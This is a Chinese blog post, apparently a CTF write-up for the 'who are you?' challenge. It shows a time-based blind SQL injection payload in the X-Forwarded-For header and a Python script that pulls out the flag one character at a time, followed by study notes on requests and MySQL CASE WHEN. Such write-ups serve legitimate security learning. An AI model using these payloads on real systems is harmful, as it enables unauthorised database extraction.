web安全

CTF实验吧 who are you?

  • 题目

    这里写图片描述

  • firefox浏览器

    这里写图片描述

  • X-Forwarded-For 用浏览器插件Modify Hearers修改

    这里写图片描述

  • 发现IP值变了

    这里写图片描述

  • 基于时间型的SQL盲注,利用X-Forwarded-For注入
  • 手工调试,X-Forwared-For: ” ‘+(select case when ascii(substring((select flag from flag ) from 1 for 1 )) > 99 then sleep(5) else 1 end ) and ‘1’=’1”(为什么不用if流程函数,而用case when then else end 流程函数,原因是网站会截断逗号后的所有字符,有兴趣可以试试)

    这里写图片描述

  • 经过测试,当>98延迟返回,>99不延迟返回,得flag第一个字符的ASCII值为99,即c

    这里写图片描述

  • 参考http://blog.csdn.net/qq_35078631/article/details/54773769
  • 附上python代码运行得到flag
#!/usr/bin/env python     
#-*-coding:utf-8-*-       #告诉系统使用UTF-8编码,或#coding=utf-8

import requests           #引入requests模块
import string             #引入string模块
url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"    #URL(统一资源定位符)web地址
payload=string.lowercase+string.uppercase+string.digits    #小写字母+大写字母+数字
flag=""                   #字符串

for i in range(1,100):    #迭代1到100之间的数字
    havetry=0             #赋值
    for str in payload:   #遍历字符串
        headers={"x-forwarded-for":"' +(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(7) else 1 end ) and '1'='1" %(i,str)}      #联合查询语句
        try:              #异常处理,把可能发错的的语句放在try下
            res=requests.get(url,headers=headers,timeout=6)#定制请求头和设置超时时间
        except requests.exceptions.ReadTimeout, e:         #超时错误
            havetry=1     # 赋值
            flag = flag + str                              #符合条件的字母存在flag中
            print "flag:", flag                            #打印flag
            break                                          #找到第i个字符,退出第二个for循环,开始第一个for循环,找 第i+1个字符
    if havetry==0:                                         #当所有字符遍历完,退出第一个for循环结构
        break
print 'result:' + flag                                     #程序结束打印flag
  • 运行结果
    这里写图片描述

    学习笔记

  • requests模块

    requests.get(url,headers=headers,timeout=”)发送一个get请求设置超时时间
    requests.exceptions.ReadTimeout 请求超时错误
    参考网址: http://www.cnblogs.com/tangdongchu/p/4229049.html
    官 网: http://docs.python-requests.org/en/latest/user/quickstart/

    http://docs.python-requests.org/en/latest/api/#requests.ReadTimeout

  • string模块

    string.lowercase小写字母,string.uppercase大写字母,string.digits数字

    参考网址:http://blog.csdn.net/jb19900111/article/details/19637421

  • MySQL支持流程函数

    1.IF(value,t,f)
    如果value为真,返回t,否则返回f
    2.IFNULL(value1,value2)
    如果value1不为空返回value1,否则返回value2
    3.CASE WHEN [value1] THEN[result1]…ELSE[default] END
    如果value1为真,返回result1,否则返回default
    4.CASE [expr] WHEN[value1] THEN[result]…ELSE[default] END
    如果expr等于value1,返回result,否则返回defalut
    5.程序里语句分析
    (select case when (substring((select flag from flag ) from %d for 1 )=’%s’) then sleep(7) else 1 end ) and ‘1’=’1” %(i,str)
    substring(str,x,y) 返回字符串 str 中从位置起 y 个字符串长度的字符串
    %(i,str)python字符串格式化,%d格式化整数,%s格式化字符串
    sleep()强制产生一个固定的延迟,类似BENCHMARK(N,expression)
    整句意思:从flag表中查询flag第 i 个长度为 1 的字符串与str比较,为真时强制产生7秒延迟否则1秒
  • try….except….else 语句

    将可能出错的语句放入try模块下,except后如果没有指定异常,则会默认所有异常,当没有异常时,执行else后面语句

    参考地址:http://www.cnblogs.com/Lival/p/6203111.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值